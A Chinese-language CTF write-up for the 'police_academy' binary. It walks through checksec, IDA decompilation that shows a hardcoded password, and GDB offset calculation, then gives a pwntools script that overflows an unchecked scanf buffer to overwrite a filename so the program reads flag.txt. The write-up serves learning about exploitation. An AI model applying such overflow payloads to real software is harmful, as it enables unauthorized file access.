police_academy Writeup
2018/06/29

走一下程序流程

ios@ubuntu:~$ ./police_academy
Enter password to authentic yourself : 1
Incorrect password. Closing connection.
ios@ubuntu:~$

检查程序

ios@ubuntu:~$ checksec police_academy
[*] '/home/ios/police_academy'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

载入IDA分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int *v3; // rsi
  int result; // eax
  int v5; // [rsp+8h] [rbp-48h]
  int v6; // [rsp+Ch] [rbp-44h]
  char s1; // [rsp+10h] [rbp-40h]
  __int64 v8; // [rsp+20h] [rbp-30h]
  __int64 v9; // [rsp+28h] [rbp-28h]
  __int64 v10; // [rsp+30h] [rbp-20h]
  __int64 v11; // [rsp+38h] [rbp-18h]
  int v12; // [rsp+40h] [rbp-10h]
  char v13; // [rsp+44h] [rbp-Ch]
  unsigned __int64 v14; // [rsp+48h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  printf("Enter password to authentic yourself : ", argv, envp);
  fflush(_bss_start);
  __isoc99_scanf("%s", &s1);
  if ( strncmp(&s1, "kaiokenx20", 0xAuLL) )
  {
    puts("Incorrect password. Closing connection.");
    exit(0);
  }
  puts("Enter case number: ");
  printf("\n\t 1) Application_1", "kaiokenx20");
  printf("\n\t 2) Application_2");
  printf("\n\t 3) Application_3");
  printf("\n\t 4) Application_4");
  printf("\n\t 5) Application_5");
  printf("\n\t 6) Application_6");
  printf("\n\t 7) Flag");
  printf("\n\n\t Enter choice :- ");
  fflush(_bss_start);
  v3 = &v5;
  __isoc99_scanf("%d", &v5);
  switch ( v5 )
  {
    case 1:
      v8 = '070885a2';
      v9 = '5f5e8ea0';
      v10 = 'c9fd9ac1';
      v11 = 'd65344a5';
      v12 = 'tad.';
      v13 = 0;
      break;
    case 2:
      v8 = 'c1eda58c';
      v9 = '2ebbcb74';
      v10 = '941246ca';
      v3 = (int *)'81b19491';
      v11 = '81b19491';
      v12 = 'tad.';
      v13 = 0;
      break;
    case 3:
      v8 = '23a1c928';
      v9 = '3bfa3226';
      v3 = (int *)'b61c43c3';
      v10 = 'b61c43c3';
      v11 = 'd27474ab';
      v12 = 'tad.';
      v13 = 0;
      break;
    case 4:
      v8 = 'd82fd45a';
      v3 = (int *)'f08d4b8b';
      v9 = 'f08d4b8b';
      v10 = 'ad116607';
      v11 = '06491899';
      v12 = 'tad.';
      v13 = 0;
      break;
    case 5:
      v8 = 'cb7eb354';
      v9 = 'c09d32f0';
      v10 = 'b5dc33e0';
      v3 = (int *)'0c283015';
      v11 = '0c283015';
      v12 = 'tad.';
      v13 = 0;
      break;
    case 6:
      v8 = '6cfe3313';
      v9 = 'b5d57a29';
      v3 = (int *)'a7e6a65d';
      v10 = 'a7e6a65d';
      v11 = 'c721627f';
      v12 = 'tad.';
      v13 = 0;
      break;
    case 7:
      v8 = 'txt.galf';
      LOBYTE(v9) = 0;
      puts("You don't have the required privileges to view the flag, yet.");
      exit(0);
      return result;
    default:
      break;
  }
  v6 = print_record((const char *)&v8);
  if ( v6 == -1 )
    printf("\nNo such record exists. Please verify your choice.", v3);
  fflush(_bss_start);
  puts("\n");
  return 0;
}

首先程序需要输入密码 这里可以看到密码为 kaiokenx20

程序需要输入1-7 之后进行print_record()函数操作 跟进看一下

signed __int64 __fastcall print_record(const char *a1)
{
  FILE *stream; // [rsp+18h] [rbp-338h]
  char ptr; // [rsp+20h] [rbp-330h]
  unsigned __int64 v4; // [rsp+348h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned int)strlen(a1) != 36 )
    return 0xFFFFFFFFLL;
  stream = fopen(a1, "r");
  if ( !stream )
    return 0xFFFFFFFFLL;
  printf("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "r");
  puts("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n");
  fread(&ptr, 0x30CuLL, 1uLL, stream);
  printf("%s", &ptr);
  printf("\n\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
  printf("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
  fclose(stream);
  return 0LL;
}

判断了 读入的长度是否为36 是的话就行读取

思路

可以利用

__isoc99_scanf("%s", &s1);

进行溢出覆盖

使用GDB来判断S1与v8之间的偏移

.text:0000000000400B1E loc_400B1E:                             ; CODE XREF: main+136↑j
.text:0000000000400B1E                                         ; DATA XREF: .rodata:off_401028↓o
.text:0000000000400B1E                 lea     rax, [rbp+var_30] ; jumptable 0000000000400AD1 case 2
.text:0000000000400B22                 mov     rsi, 'c1eda58c'
.text:0000000000400B2C                 mov     [rax], rsi
.text:0000000000400B2F                 mov     rcx, '2ebbcb74'
.text:0000000000400B39                 mov     [rax+8], rcx
.text:0000000000400B3D                 mov     rdx, '941246ca'
.text:0000000000400B47                 mov     [rax+10h], rdx
.text:0000000000400B4B                 mov     rsi, '81b19491'
.text:0000000000400B55                 mov     [rax+18h], rsi
.text:0000000000400B59                 mov     dword ptr [rax+20h], 'tad.'
.text:0000000000400B60                 mov     byte ptr [rax+24h], 0
.text:0000000000400B64                 jmp     loc_400CB8      ; jumptable 0000000000400AD1 default case

下断在case 2 的 0x400B2F 处

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────[ registers ]────
$rax   : 0x00007fffffffde70  →  "c85ade1c"
$rbx   : 0x0000000000000000
$rcx   : 0x0000000000000010
$rdx   : 0x00007ffff7dd3790  →  0x0000000000000000
$rsp   : 0x00007fffffffde50  →  0x0000000000000000
$rbp   : 0x00007fffffffdea0  →  0x0000000000400d10  →  <__libc_csu_init+0> push r15
$rsi   : 0x6331656461353863 ("c85ade1c"?)
$rdi   : 0x00007fffffffd930  →  0x0000000000190032 ("2"?)
$rip   : 0x0000000000400b2f  →  <main+404> movabs rcx, 0x3265626263623734
$r8    : 0x0000000000000000
$r9    : 0x0000000000000000
$r10   : 0x0000000000000000
$r11   : 0x00007ffff7b845e0  →  0x0002000200020002
$r12   : 0x0000000000400790  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf80  →  0x0000000000000001
$r14   : 0x0000000000000000
$r15   : 0x0000000000000000
$eflags: [CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$es: 0x0000  $ss: 0x002b  $fs: 0x0000  $cs: 0x0033  $gs: 0x0000  $ds: 0x0000  
───────────────────────────────────────────────────────────────────[ stack ]────
0x00007fffffffde50│+0x00: 0x0000000000000000     ← $rsp
0x00007fffffffde58│+0x08: 0x0000000000000002
0x00007fffffffde60│+0x10: "kaiokenx20"
0x00007fffffffde68│+0x18: 0x0000000000003032 ("20"?)
0x00007fffffffde70│+0x20: "c85ade1c"$rax
0x00007fffffffde78│+0x28: 0x0000000000000000
0x00007fffffffde80│+0x30: 0x0000000000400d10  →  <__libc_csu_init+0> push r15
0x00007fffffffde88│+0x38: 0x0000000000400790  →  <_start+0> xor ebp, ebp
────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
     0x400b1e <main+387>       lea    rax, [rbp-0x30]
     0x400b22 <main+391>       movabs rsi, 0x6331656461353863
     0x400b2c <main+401>       mov    QWORD PTR [rax], rsi
 →   0x400b2f <main+404>       movabs rcx, 0x3265626263623734
     0x400b39 <main+414>       mov    QWORD PTR [rax+0x8], rcx
     0x400b3d <main+418>       movabs rdx, 0x3934313234366361
     0x400b47 <main+428>       mov    QWORD PTR [rax+0x10], rdx
     0x400b4b <main+432>       movabs rsi, 0x3831623139343931
     0x400b55 <main+442>       mov    QWORD PTR [rax+0x18], rsi
─────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "police_academy", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x400b2f → Name: main()

可以查看到此时的rsp以及rbp

通过计算得到此时的v8与s1之间的偏移

gef➤  p/x 0x00007fffffffde50+0x10
$1 = 0x7fffffffde60
gef➤  p/x 0x00007fffffffde50+0x20
$2 = 0x7fffffffde70
gef➤  p/d 0x7fffffffde70-0x7fffffffde60
$3 = 16

得到偏移量为16

但是密码占了10位 所以只能从后6位开始进行填充

由于文件名长度需要达到32位 所以构造payload

from pwn import *
p = process("./police_academy")
payload = 'kaiokenx20' + '\x00'*6+'./'*14+'flag.txt'
p.recvuntil('Enter password to authentic yourself : ')
p.sendline(payload)
p.recvuntil(':')
p.sendline('9')
p.interactive()

因为在根目录下面

所以使用了./进行填充

这里case选择9是为了

default:
  break;

跳出循环

本地运行即可获得flag

ios@ubuntu:~$ python police_academy.py
[+] Starting local process './police_academy': pid 5065
[*] Switching to interactive mode


     1) Application_1
     2) Application_2
     3) Application_3
     4) Application_4
     5) Application_5
     6) Application_6
     7) Flag

     Enter choice [*] Process './police_academy' stopped with exit code 0 (pid 5065)

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

flag{is wo ai ni}
\x7f��\x7f

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

[*] Got EOF while reading in interactive
$
请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!